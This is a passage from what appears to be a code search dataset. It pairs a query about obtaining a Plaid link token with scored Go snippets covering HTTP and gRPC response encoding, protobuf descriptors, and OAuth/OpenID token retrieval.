+\n\t\t\t\t\t\"\\t<head>\\n\" +\n\t\t\t\t\t\"\\t\\t<title>Internal Server Error</title>\\n\" +\n\t\t\t\t\t\"\\t</head>\\n\" +\n\t\t\t\t\t\"\\t<body>\\n\" +\n\t\t\t\t\t\"\\t\\t<h1>Internal Server Error</h1>\\n\" +\n\t\t\t\t\t\"\\t</body>\\n\" +\n\t\t\t\t\t\"</html>\\n\")\n\t\t\tgo writeBody(ioutil.Discard)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a7cbbf8957002ef04f6ae1f9073dfa18", "score": "0.4645964", "text": "func Rsp(err string, message string) []byte {\n\tre := c.Response{\n\t\tError: err, \n\t\tMessage: message,\n\t}\n\tresp, err1 := json.Marshal(re)\n\tc.Check(err1)\n\treturn resp\n}", "title": "" }, { "docid": "8576dc729d383a2c01d4fb24b43a27c3", "score": "0.46326554", "text": "func JWTEncodeResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\tvar body []byte\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\tbody, err := json.Marshal(&response)\n\tlogger.Logf(\"JWTEncodeResponse : %s\", string(body[:]))\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t//w.Header().Set(\"X-Checksum\", cm.Cksum(body))\n\n\tvar e = response.(dt.JWTJSONResponse).ResponseCode\n\n\tif e <= dt.HeaderStatusOk {\n\t\tw.WriteHeader(http.StatusOK)\n\t} else if e <= dt.StatusBadRequest {\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t} else if e <= 998 {\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t} else {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t}\n\n\t_, err = w.Write(body)\n\n\treturn err\n}", "title": "" }, { "docid": "aa85a1224e73cdcba1d676c6c78bc9d0", "score": "0.46286005", "text": "func EncodeGRPCAddItemResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.ItemResponse)\n\treturn resp, nil\n}", "title": "" }, { "docid": "30ff13e6af15b865d67f0b501989cb3c", "score": "0.46275783", "text": "func DecodeGRPCCreateUserResponse(_ context.Context, grpcReply interface{}) (interface{}, error) {\n\treply := grpcReply.(*pb.CreateUserResponse)\n\treturn reply, nil\n}", "title": "" }, { "docid": "6780e4538b4e22743422e515bd546fe6", "score": "0.46230367", "text": "func encodePublishToMqttResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\tif e, ok := response.(errorer); ok && e.error() != nil {\n\t\t// Not a Go kit transport error, but a business-logic error.\n\t\t// Provide those as HTTP errors.\n\t\tencodeError(ctx, e.error(), w)\n\t\treturn nil\n\t}\n\n\t// fmt.Println(ctx)\n\t// fmt.Println(response)\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\treturn json.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "e1be3af93e940c20ed294f4a9ac4514e", "score": "0.46064213", "text": "func DecodeGRPCCreateUserResponse(_ context.Context, grpcReply interface{}) (interface{}, error) {\n\treply := grpcReply.(*pb.User)\n\treturn reply, nil\n}", "title": "" }, { "docid": "39ce31e756000a1768d89054358bdf73", "score": "0.46030784", "text": "func EncodeGRPCListAllResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.ListResponse)\n\treturn resp, nil\n}", "title": "" }, { "docid": "8c2fb2820ca4e0afb799b3592b2295b2", "score": "0.46027374", "text": "func (*CMsgClientToGCRequestSlarkGameResultResponse) Descriptor() ([]byte, []int) {\n\treturn file_dota_gcmessages_client_proto_rawDescGZIP(), []int{144}\n}", "title": "" }, { "docid": "d5a41345019bbf0a0c8960813d32c935", "score": "0.46023616", "text": "func (*GetDnsByIdsResponse) Descriptor() ([]byte, []int) {\n\treturn file_parser_dns_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "5253e8a18f9157c499af46d29cdbee2e", "score": "0.46008432", "text": "func (*FindDnsResponse) Descriptor() ([]byte, []int) {\n\treturn file_parser_dns_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "1c44a65f68bec2d31024c97ce9947ee2", "score": "0.45966023", "text": "func decodeGRPCSumResponse(_ context.Context, grpcReply interface{}) (interface{}, error) {\n\treply := grpcReply.(*pb.SumReply)\n\treturn addendpoint.SumResponse{V: int(reply.V), Err: str2err(reply.Err)}, nil\n}", "title": "" }, { "docid": "d44b3fd2a7753f4f8239df8a4e717325", "score": "0.459243", "text": "func (e RcodeHandler) ServeDNS(w ResponseWriter, r *Request) {\n\tw.Msg().Rcode = int(e)\n}", "title": "" }, { "docid": "53cd4035356b9bb7118c7fa4e6864c21", "score": "0.4590832", "text": "func jsonResponse(w http.ResponseWriter, s string) {\n\tif err := json.NewEncoder(w).Encode(&responseBody{IP: s}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "b5f6833f0410f6084f44944126b77ba6", "score": "0.45863715", "text": "func EncodeGRPCReadUserResponse(_ context.Context, response interface{}) (interface{}, error) {\n\tresp := response.(*pb.User)\n\treturn resp, nil\n}", "title": "" } ]
50ed0eb75230d03a5de3be98d90ed0ce
Returns the plaid token from authentication token. If in any case there is an error with the link token or the user's connection, it will return a json response error to the frontend
[ { "docid": "d499b41589f38cdf3760a6dc7883c563", "score": "0.68956095", "text": "func GetPlaidToken(app *application.App) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\t\t// creates token configuration\n\t\ttokenConfig := plaid.LinkTokenConfigs{\n\t\t\tUser: &plaid.LinkTokenUser{\n\t\t\t\tClientUserID: fmt.Sprintf(\"%v\", r.Context().Value(models.Key(\"user\"))),\n\t\t\t},\n\t\t\tClientName: \"Scale\",\n\t\t\tProducts: []string{\"auth\", \"transactions\"},\n\t\t\tCountryCodes: []string{\"US\"},\n\t\t\tLanguage: \"en\",\n\t\t\tWebhook: app.Plaid.RedirectURL,\n\t\t}\n\n\t\t// calls on the app's plaid client and creates a link token with the configuration\n\t\t// provided by the tokenConfig struct. If for whatever reason the client fails, it\n\t\t// will return a json resposne reflecting this issue\n\t\ttokenResponse, err := app.Plaid.Client.CreateLinkToken(tokenConfig)\n\t\tif err != nil {\n\t\t\tmsg := \"Failure to load client\"\n\t\t\tmodels.CreateError(w, http.StatusBadGateway, msg, err)\n\t\t\treturn\n\t\t}\n\n\t\t// when successful returns a result response\n\t\tmsg := \"Successfully recieved link token from plaid\"\n\t\tmodels.CreateResponse(w, msg, tokenResponse.LinkToken)\n\t}\n}", "title": "" } ]
[ { "docid": "557e7925093ba88df43594b00ec27be7", "score": "0.59572446", "text": "func (ah *authHandler) fetchToken(ctx context.Context, to tokenOptions) (string, error) {\n\treq, err := http.NewRequest(\"GET\", to.realm, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif ah.header != nil {\n\t\tfor k, v := range ah.header {\n\t\t\treq.Header[k] = append(req.Header[k], v...)\n\t\t}\n\t}\n\n\treqParams := req.URL.Query()\n\n\tif to.service != \"\" {\n\t\treqParams.Add(\"service\", to.service)\n\t}\n\n\tfor _, scope := range to.scopes {\n\t\treqParams.Add(\"scope\", scope)\n\t}\n\n\tif to.secret != \"\" {\n\t\treq.SetBasicAuth(to.username, to.secret)\n\t}\n\n\treq.URL.RawQuery = reqParams.Encode()\n\n\tresp, err := ctxhttp.Do(ctx, ah.client, req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode < 200 || resp.StatusCode >= 400 {\n\t\t// TODO: handle error body and write debug output\n\t\treturn \"\", errors.Errorf(\"unexpected status: %s\", resp.Status)\n\t}\n\n\tdecoder := json.NewDecoder(resp.Body)\n\n\tvar tr getTokenResponse\n\tif err = decoder.Decode(&tr); err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to decode token response: %s\", err)\n\t}\n\n\t// `access_token` is equivalent to `token` and if both are specified\n\t// the choice is undefined. Canonicalize `access_token` by sticking\n\t// things in `token`.\n\tif tr.AccessToken != \"\" {\n\t\ttr.Token = tr.AccessToken\n\t}\n\n\tif tr.Token == \"\" {\n\t\treturn \"\", ErrNoToken\n\t}\n\n\treturn tr.Token, nil\n}", "title": "" }, { "docid": "ce0d07cd3a7b2b23b608b3392e14739e", "score": "0.579022", "text": "func getIDToken(customToken string, projectAPIKey string) string {\n\trequestBody, err := json.Marshal(map[string]string{\n\t\t\"token\": customToken,\n\t\t\"returnSecureToken\": \"true\",\n\t})\n\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t\treturn \"\"\n\t}\n\n\tresp, err := http.Post(\n\t\t\"https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyCustomToken?key=\"+projectAPIKey,\n\t\t\"application/json\",\n\t\tbytes.NewBuffer(requestBody))\n\n\tif err != nil {\n\t\tlog.Fatalf(\"Verifiaction request err: %s\\n\", err)\n\t\treturn \"\"\n\t}\n\n\tvar r verificationResponse\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error while reading response body: %s\\n\", err)\n\t\treturn \"\"\n\t}\n\n\tif err := json.Unmarshal(body, &r); err != nil {\n\t\tlog.Fatalf(\"Response mismatch: %s\\n\", err)\n\t\treturn \"\"\n\t}\n\n\treturn r.IDToken\n}", "title": "" }, { "docid": "5858c8226ea44e56cd61c1e855c7653f", "score": "0.57745755", "text": "func OauthGetToken(code string) (string, string, error) {\n\t// map[string]interface{}{\n\t// \t\"client_id\":config.APPID,\n\t// \t\"client_secret\":config.APPSECRET,\n\t// \t\"code\":code,\n\t// \t\"grant_type\":\"authorization_code\",\n\t// \t\"redirect_uri\":config.REDIRECTURI,\n\t// },\n\n\tstatus, data, err := request.StringForJson(\n\t\tgenOauthTokenUrl(),\n\t\t\"POST\",\n\t\tnil,\n\t\tfmt.Sprintf(\"client_id=%s&client_secret=%s&code=%s&grant_type=authorization_code&redirect_uri=%s\",\n\t\t\tconfig.APPID, config.APPSECRET, code, config.REDIRECTURI),\n\t\t5,\n\t)\n\tif err != nil {\n\t\tlogs.Error(\"OauthGetToken Failed,%s\", err)\n\t\treturn \"\", \"\", err\n\t}\n\tif status != 200 {\n\t\tlogs.Error(\"OauthGetToken Failed,Code %d\", status)\n\t\treturn \"\", \"\", fmt.Errorf(\"OauthGetToken Failed,Code %d\", status)\n\t}\n\tlogs.Info(\"code %d,body %v\", status, data)\n\taccessToken, ok := data[\"access_token\"].(string)\n\tif !ok {\n\t\tlogs.Error(\"no access_token found,body %v\", data)\n\t\treturn \"\", \"\", fmt.Errorf(\"no access_tken found,body %v\", data)\n\t}\n\trefreshToken, ok := data[\"refresh_token\"].(string)\n\tif !ok {\n\t\tlogs.Error(\"no refresh_token found,body %v\", data)\n\t\treturn \"\", \"\", fmt.Errorf(\"no refresh_token found,body %v\", data)\n\t}\n\treturn accessToken, refreshToken, nil\n}", "title": "" }, { "docid": "65f19de3232d775c5b8248b86ac81cfa", "score": "0.57490474", "text": "func FetchToken(rurl string, verbose bool) string {\n\trurl = fmt.Sprintf(\"%s/.well-known/openid-configuration\", rurl)\n\tfmt.Println(\"Querying\", rurl)\n\treq, _ := http.NewRequest(\"GET\", rurl, nil)\n\tif verbose {\n\t\tdump, err := httputil.DumpRequestOut(req, true)\n\t\tfmt.Println(fmt.Sprintf(\"### HTTP header :\\n%s\\n###\\n\", req.Header))\n\t\tfmt.Println(fmt.Sprintf(\"--- HTTP request :\\n%s\\n---\\n\", string(dump)))\n\t\tif err != nil {\n\t\t\tfmt.Println(\"HTTP Error\", err)\n\t\t}\n\t}\n\tclient := HttpClient(verbose)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: unable to initialize HTTP client\", err)\n\t\treturn \"\"\n\t}\n\tif verbose {\n\t\tdump, err := httputil.DumpResponse(resp, true)\n\t\tfmt.Println(fmt.Sprintf(\"+++ HTTP response:\\n%s\\n+++\\n\", string(dump)))\n\t\tif err != nil {\n\t\t\tfmt.Println(\"HTTP Error\", err)\n\t\t}\n\t}\n\tdefer resp.Body.Close()\n\tdata, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: unable to read response\", err)\n\t\treturn \"\"\n\t}\n\tvar rec OpenID\n\terr = json.Unmarshal(data, &rec)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: unable to unmarshal response\", err)\n\t\treturn \"\"\n\t}\n\n\t// send POST request to token endpoint\n\ts := []byte(\"grant_type=client_credentials\")\n\treq2, _ := http.NewRequest(\"POST\", rec.TokenEndpoint, bytes.NewBuffer(s))\n\treq2.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\treq2.Header.Set(\"Accept\", \"application/json\")\n\tif verbose {\n\t\tdump, err := httputil.DumpRequestOut(req2, true)\n\t\tfmt.Println(fmt.Sprintf(\"### HTTP header :\\n%s\\n###\\n\", req2.Header))\n\t\tfmt.Println(fmt.Sprintf(\"--- HTTP request :\\n%s\\n---\\n\", string(dump)))\n\t\tif err != nil {\n\t\t\tfmt.Println(\"HTTP Error\", err)\n\t\t}\n\t}\n\tresp, err = client.Do(req2)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: unable to initialize HTTP client\", err)\n\t\treturn \"\"\n\t}\n\tif verbose {\n\t\tdump, err := httputil.DumpResponse(resp, true)\n\t\tfmt.Println(fmt.Sprintf(\"+++ HTTP response:\\n%s\\n+++\\n\", string(dump)))\n\t\tif err != nil {\n\t\t\tfmt.Println(\"HTTP error\", err)\n\t\t}\n\t}\n\tdefer resp.Body.Close()\n\tdata, err = ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: unable to read response\", err)\n\t\treturn \"\"\n\t}\n\treturn string(data)\n}", "title": "" }, { "docid": "3c92a7a0a0a36d7e8f5ac25210715b42", "score": "0.574596", "text": "func getToken(c *gin.Context) {\n\tlogin, password := getInput(c)\n\tc.Header(\"Access-Control-Allow-Origin\", \"*\")\n\tloginStruct := authorizationdata.Set{\n\t\tLogin: login,\n\t\tPassword: password,\n\t\tAccessLvl: authorization.Lector,\n\t}\n\ttoken, err := authorization.GetLectorToken(loginStruct)\n\tif err != nil {\n\t\tc.AbortWithStatus(http.StatusBadRequest)\n\t\treturn\n\t}\n\tid := authorization.GetIDFromToken(token)\n\tsubjects := database.GetLectorSubjects(id)\n\tgroups := database.GetGroups()\n\trooms := database.GetDevicesList()\n\tc.JSON(http.StatusOK, gin.H{\"JWT\": token,\n\t\t\"subjects\": subjects,\n\t\t\"groups\": groups,\n\t\t\"rooms\": rooms})\n}", "title": "" }, { "docid": "59f46fa423b96eb12d6af4734d9f395b", "score": "0.57335216", "text": "func (auth *Authentication) GetToken(conf configuration.Configuration) (string, error) {\n\n\tdata := url.Values{}\n\tdata.Add(\"grant_type\", \"password\")\n\tdata.Add(\"scope\", conf.GetAPIPlatformScope())\n\tdata.Add(\"username\", conf.GetAPIPlatformUser())\n\tdata.Add(\"password\", conf.GetAPIPlatformUserPassword())\n\n\treq, _ := http.NewRequest(http.MethodPost, conf.GetIDCSHost()+\"/oauth2/v1/token\", bytes.NewBufferString(data.Encode()))\n\treq.SetBasicAuth(conf.GetAPIPlatformClientID(), conf.GetAPIPlatformClientSecret())\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded; param=value\")\n\n\tresponse, err := auth.client.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t} else if response.StatusCode != 200 {\n\t\treturn \"\", errors.New(\"Bad response status \" + response.Status)\n\t}\n\tdefer response.Body.Close()\n\n\tbodyBytes, _ := ioutil.ReadAll(response.Body)\n\tbodyString := string(bodyBytes)\n\n\ttoken, err := parseResponse(bodyString)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn token, nil\n}", "title": "" }, { "docid": "f899307d8f842a97d3ecd6bb68bb4b66", "score": "0.5709742", "text": "func (a *app) GetIDToken(user, passwd string) (*oauth2.Token, error) {\n\n\tauthCodeURL := a.oauth2Config(a.scopes).AuthCodeURL(exampleAppState)\n\tresp, err := http.Get(authCodeURL)\n\tif err != nil {\n\t\t// handle error\n\t\tlog.Fatalln(\"Failed to connetc to issuer\", err)\n\t}\n\tdefer resp.Body.Close()\n\tpostURL := resp.Request.URL.String()\n\n\tdata := url.Values{\"login\": {user}, \"password\": {passwd}}\n\tbody := strings.NewReader(data.Encode())\n\tclt := http.Client{\n\t\t// forbid to redirect\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\tresp2, err := clt.Post(postURL, \"application/x-www-form-urlencoded\", body)\n\tif err != nil {\n\t\tlog.Fatalln(\"Fail to post data\", err)\n\t}\n\tdefer resp2.Body.Close()\n\n\tl, err := resp2.Location()\n\tif err != nil {\n\t\tlog.Fatalln(\"Fail to get redirectURI1\", err)\n\t}\n\tredirectURI1 := l.String()\n\n\tresp3, err := clt.Get(redirectURI1)\n\tif err != nil {\n\t\tlog.Fatalln(\"Fail to get redirectURI2\", err)\n\t}\n\tdefer resp3.Body.Close()\n\n\tredirectURI2, err := resp3.Location()\n\tif err != nil {\n\t\tlog.Fatalln(\"Fail to get redirectURI2\", err)\n\t}\n\tparses, err := url.ParseQuery(redirectURI2.RawQuery)\n\tif err != nil {\n\t\tlog.Fatalln(\"Fail to Parse redirectURI2\", err)\n\t}\n\tcode := parses[\"code\"][0]\n\n\toauth2Config := a.oauth2Config(nil)\n\n\ttoken, err := oauth2Config.Exchange(a.ctx, code)\n\tif err != nil {\n\t\tlog.Fatalln(\"failed to Exchange code\", err)\n\t}\n\treturn token, nil\n}", "title": "" }, { "docid": "76859d9304f7777481cca13f61f87e0c", "score": "0.57094914", "text": "func (uc *Control) GetToken(c *gin.Context) {\n\tc.JSON(200, gin.H{\n\t\t\"message\": \"pong\",\n\t})\n}", "title": "" }, { "docid": "2677210b31cc3c33d0b6a1c654407b40", "score": "0.5708494", "text": "func (a *Auth) Validate(authToken string) (*Token, error) {\n\n\tif a.TokenCache != nil {\n\t\tvar cachedToken Token\n\t\tif ok := a.TokenCache.Get(authToken, &cachedToken); ok && cachedToken.Valid() {\n\t\t\tLog(\"Found valid token in cache\")\n\t\t\treturn &cachedToken, nil\n\t\t}\n\t}\n\n\treq, err := http.NewRequest(\"GET\", a.Endpoint+\"/auth/tokens?nocatalog\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Set(\"X-Auth-Token\", authToken)\n\treq.Header.Set(\"X-Subject-Token\", authToken)\n\treq.Header.Set(\"User-Agent\", a.UserAgent)\n\n\tr, err := a.Client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer r.Body.Close()\n\n\tif r.StatusCode >= 400 {\n\t\treturn nil, errors.New(r.Status)\n\t}\n\n\tvar resp authResponse\n\tif err = json.NewDecoder(r.Body).Decode(&resp); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif e := resp.Error; e != nil {\n\t\treturn nil, fmt.Errorf(\"%s : %s\", r.Status, e.Message)\n\t}\n\tif r.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"%s\", r.Status)\n\t}\n\tif resp.Token == nil {\n\t\treturn nil, errors.New(\"Response didn't contain token context\")\n\t}\n\tif !resp.Token.Valid() {\n\t\treturn nil, errors.New(\"Returned token is not valid\")\n\t}\n\n\tif a.TokenCache != nil {\n\t\tttl := a.CacheTime\n\t\t//The expiry date of the token provides an upper bound on the cache time\n\t\tif expiresIn := resp.Token.ExpiresAt.Sub(time.Now()); expiresIn < a.CacheTime {\n\t\t\tttl = expiresIn\n\t\t}\n\t\ta.TokenCache.Set(authToken, *resp.Token, ttl)\n\t}\n\n\treturn resp.Token, nil\n}", "title": "" }, { "docid": "89d1050575d1142d03f2697369c03114", "score": "0.57000685", "text": "func getToken(u, p string) (string, error) {\n\t/* Send the request */\n\tres, err := http.PostForm(authURL, url.Values(map[string][]string{\n\t\t\"email\": {u},\n\t\t\"password\": {p},\n\t}))\n\tif nil != err {\n\t\treturn \"\", err\n\t}\n\tdefer res.Body.Close()\n\t/* Read body into buffer */\n\tbuf := &bytes.Buffer{}\n\t_, err = io.Copy(buf, res.Body)\n\tif nil != err {\n\t\treturn \"\", err\n\t}\n\t/* If we're not authorized, :( */\n\tif \"Unauthorized\" == buf.String() {\n\t\treturn \"\", fmt.Errorf(\"unauthorized\")\n\t}\n\t/* Struct into which to decode token */\n\trs := struct {\n\t\tOk int\n\t\tToken string\n\t}{}\n\t/* Unmarshal the JSON */\n\tif err := json.Unmarshal(buf.Bytes(), &rs); nil != err {\n\t\treturn \"\", err\n\t}\n\n\treturn rs.Token, nil\n}", "title": "" }, { "docid": "f14f7200cb02c11e4794e6d3687c2ee6", "score": "0.566115", "text": "func (tokenParameters TokenParameters) GetBearerToken() (string, error) {\n\n\thttpClient := tokenParameters.Client\n\n\tclientOptions := piperhttp.ClientOptions{\n\t\tUsername: tokenParameters.Username,\n\t\tPassword: tokenParameters.Password,\n\t}\n\thttpClient.SetOptions(clientOptions)\n\n\theader := make(http.Header)\n\theader.Add(\"Accept\", \"application/json\")\n\ttokenFinalURL := fmt.Sprintf(\"%s?grant_type=client_credentials\", tokenParameters.TokenURL)\n\tmethod := \"POST\"\n\tresp, httpErr := httpClient.SendRequest(method, tokenFinalURL, nil, header, nil)\n\tif httpErr != nil {\n\t\treturn \"\", errors.Wrapf(httpErr, \"HTTP %v request to %v failed with error\", method, tokenFinalURL)\n\t}\n\tif resp != nil && resp.Body != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\n\tif resp == nil {\n\t\treturn \"\", errors.Errorf(\"did not retrieve a HTTP response\")\n\t}\n\n\tif resp.StatusCode != 200 {\n\t\treturn \"\", errors.Errorf(\"did not retrieve a valid HTTP response code: %v\", httpErr)\n\t}\n\n\tbodyText, readErr := ioutil.ReadAll(resp.Body)\n\tif readErr != nil {\n\t\treturn \"\", errors.Wrap(readErr, \"HTTP response body could not be read\")\n\t}\n\tjsonResponse, parsingErr := gabs.ParseJSON([]byte(bodyText))\n\tif parsingErr != nil {\n\t\treturn \"\", errors.Wrapf(parsingErr, \"HTTP response body could not be parsed as JSON: %v\", string(bodyText))\n\t}\n\ttoken := jsonResponse.Path(\"access_token\").Data().(string)\n\treturn token, nil\n}", "title": "" }, { "docid": "208cc83f59eae3b2f92d4c1ec8786cb3", "score": "0.5652654", "text": "func authToken(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\ttoken, _, err := jwtauth.FromContext(r.Context())\n\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"some kind of error :~( : %s\", err)\n\t\t\tutils.RespondWithError(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tif token == nil || !token.Valid {\n\t\t\tfmt.Printf(\"oh dear!!!\")\n\t\t\tutils.RespondWithError(w, err)\n\t\t\treturn\n\t\t}\n\n\t\t// Token is authenticated, pass it through\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "title": "" }, { "docid": "6960923190cfd312f31db89ad1fe3ec0", "score": "0.5627415", "text": "func getToken() string {\n\tresponse, err := http.Post(\"https://id.twitch.tv/oauth2/token\"+\n\t\t\"?client_id=\"+ClientID+\n\t\t\"&client_secret=\"+secret.ClientSecret+\n\t\t\"&grant_type=client_credentials\", \"application/json\", nil)\n\tcheckErrorFatal(err)\n\tif response.StatusCode != 200 {\n\t\tlog.Fatal(\"Failed to get token, status code:\",response.StatusCode)\n\t\treturn \"\"\n\t}\n\tvar resultJson map[string]interface{}\n\terr = json.NewDecoder(response.Body).Decode(&resultJson)\n\tcheckErrorFatal(err)\n\t_ = response.Body.Close()\n\ttoken := resultJson[\"access_token\"].(string)\n\treturn token\n}", "title": "" }, { "docid": "a9cf0be9d44191303de936f00266adb8", "score": "0.5617351", "text": "func (a *app) ParseToken(token *oauth2.Token) string {\n\tidToken, ok := token.Extra(\"id_token\").(string)\n\tif !ok {\n\t\tlog.Fatalln(\"no id_token in token response\")\n\t}\n\n\trawIDToken, err := a.verifier.Verify(context.Background(), idToken)\n\tif err != nil {\n\t\tlog.Fatalln(\"failed to verify ID token: \", err)\n\t}\n\n\taccessToken, ok := token.Extra(\"access_token\").(string)\n\tif !ok {\n\t\tlog.Fatalln(\"no access_token in token response\")\n\t}\n\n\tvar claims json.RawMessage\n\tif err := rawIDToken.Claims(&claims); err != nil {\n\t\tlog.Fatalln(\"error decoding ID token claims:\", err)\n\t}\n\n\tbuff := new(bytes.Buffer)\n\tif err := json.Indent(buff, []byte(claims), \"\", \" \"); err != nil {\n\t\tlog.Fatalln(\"error indenting ID token claims:\", err)\n\t}\n\n\tfmt.Println()\n\tfmt.Println(\"idtoken:\", idToken)\n\tfmt.Println()\n\tfmt.Println(\"Access Token:\", accessToken)\n\tfmt.Println()\n\tfmt.Println(\"Refresh Token:\", token.RefreshToken)\n\tfmt.Println()\n\tfmt.Println(\"claims:\", buff.String())\n\n\treturn idToken\n}", "title": "" }, { "docid": "44371ad13d4cb716070d1687aa86e71c", "score": "0.5606313", "text": "func (a Auth) GetToken(code string) (bearer oauth.Bearer, err error) {\n\n\tbody := url.Values{\n\t\t\"client_id\": []string{a.ClientID},\n\t\t\"client_secret\": []string{a.ClientSecret},\n\t\t\"grant_type\": []string{\"authorization_code\"},\n\t\t\"code\": []string{code},\n\t\t\"redirect_uri\": []string{a.RedirectURI},\n\t}\n\tres, err := a.client.DoRawRequest(context.Background(), http.MethodPost, 0,\n\t\ta.AuthPath(\"gettoken\"),\n\t\tnil, nil,\n\t\tapi.ContentTypeFormEncoded,\n\t\tbytes.NewBufferString(body.Encode()),\n\t)\n\tif err != nil {\n\t\treturn bearer, err\n\t}\n\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != http.StatusOK {\n\t\tcontent, _ := ioutil.ReadAll(res.Body)\n\t\treturn bearer, api.ErrResult{\n\t\t\tStatusCode: res.StatusCode,\n\t\t\tReason: string(content),\n\t\t}\n\t}\n\n\tdecoder := json.NewDecoder(res.Body)\n\terr = decoder.Decode(&bearer)\n\n\treturn bearer, nil\n}", "title": "" }, { "docid": "0ebbee5f175258907c7716b2eb4bc495", "score": "0.5601275", "text": "func OauthLoginHandler(db *sqlx.DB, cfg config.Config) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\thandleErrs := tc.GetHandleErrorsFunc(w, r)\n\t\tdefer r.Body.Close()\n\t\tauthenticated := false\n\t\tresp := struct {\n\t\t\ttc.Alerts\n\t\t}{}\n\n\t\tform := auth.PasswordForm{}\n\t\tparameters := struct {\n\t\t\tAuthCodeTokenUrl string `json:\"authCodeTokenUrl\"`\n\t\t\tCode string `json:\"code\"`\n\t\t\tClientId string `json:\"clientId\"`\n\t\t\tRedirectUri string `json:\"redirectUri\"`\n\t\t}{}\n\n\t\tif err := json.NewDecoder(r.Body).Decode(&parameters); err != nil {\n\t\t\thandleErrs(http.StatusBadRequest, err)\n\t\t\treturn\n\t\t}\n\n\t\tdata := url.Values{}\n\t\tdata.Add(\"code\", parameters.Code)\n\t\tdata.Add(\"client_id\", parameters.ClientId)\n\t\tdata.Add(\"client_secret\", cfg.ConfigTrafficOpsGolang.OAuthClientSecret)\n\t\tdata.Add(\"grant_type\", \"authorization_code\") // Required by RFC6749 section 4.1.3\n\t\tdata.Add(\"redirect_uri\", parameters.RedirectUri)\n\n\t\treq, err := http.NewRequest(http.MethodPost, parameters.AuthCodeTokenUrl, bytes.NewBufferString(data.Encode()))\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"obtaining token using code from oauth provider: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tclient := http.Client{\n\t\t\tTimeout: 30 * time.Second,\n\t\t}\n\t\tresponse, err := client.Do(req)\n\t\tif err != nil {\n\t\t\tlog.Errorf(\"getting an http client: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t\tdefer response.Body.Close()\n\n\t\tbuf := new(bytes.Buffer)\n\t\tbuf.ReadFrom(response.Body)\n\t\tencodedToken := \"\"\n\n\t\tvar result map[string]interface{}\n\t\tif err := json.Unmarshal(buf.Bytes(), &result); err != nil {\n\t\t\tlog.Warnf(\"Error parsing JSON response from oAuth: %s\", err.Error())\n\t\t\tencodedToken = buf.String()\n\t\t} else if _, ok := result[\"access_token\"]; !ok {\n\t\t\tsysErr := fmt.Errorf(\"Missing access token in response: %s\\n\", buf.String())\n\t\t\tusrErr := errors.New(\"Bad response from OAuth2.0 provider\")\n\t\t\tapi.HandleErr(w, r, nil, http.StatusBadGateway, usrErr, sysErr)\n\t\t\treturn\n\t\t} else {\n\t\t\tswitch t := result[\"access_token\"].(type) {\n\t\t\tcase string:\n\t\t\t\tencodedToken = result[\"access_token\"].(string)\n\t\t\tdefault:\n\t\t\t\tsysErr := fmt.Errorf(\"Incorrect type of access_token! Expected 'string', got '%v'\\n\", t)\n\t\t\t\tusrErr := errors.New(\"Bad response from OAuth2.0 provider\")\n\t\t\t\tapi.HandleErr(w, r, nil, http.StatusBadGateway, usrErr, sysErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif encodedToken == \"\" {\n\t\t\tlog.Errorf(\"Token not found in request but is required\")\n\t\t\thandleErrs(http.StatusBadRequest, errors.New(\"Token not found in request but is required\"))\n\t\t\treturn\n\t\t}\n\n\t\tdecodedToken, err := 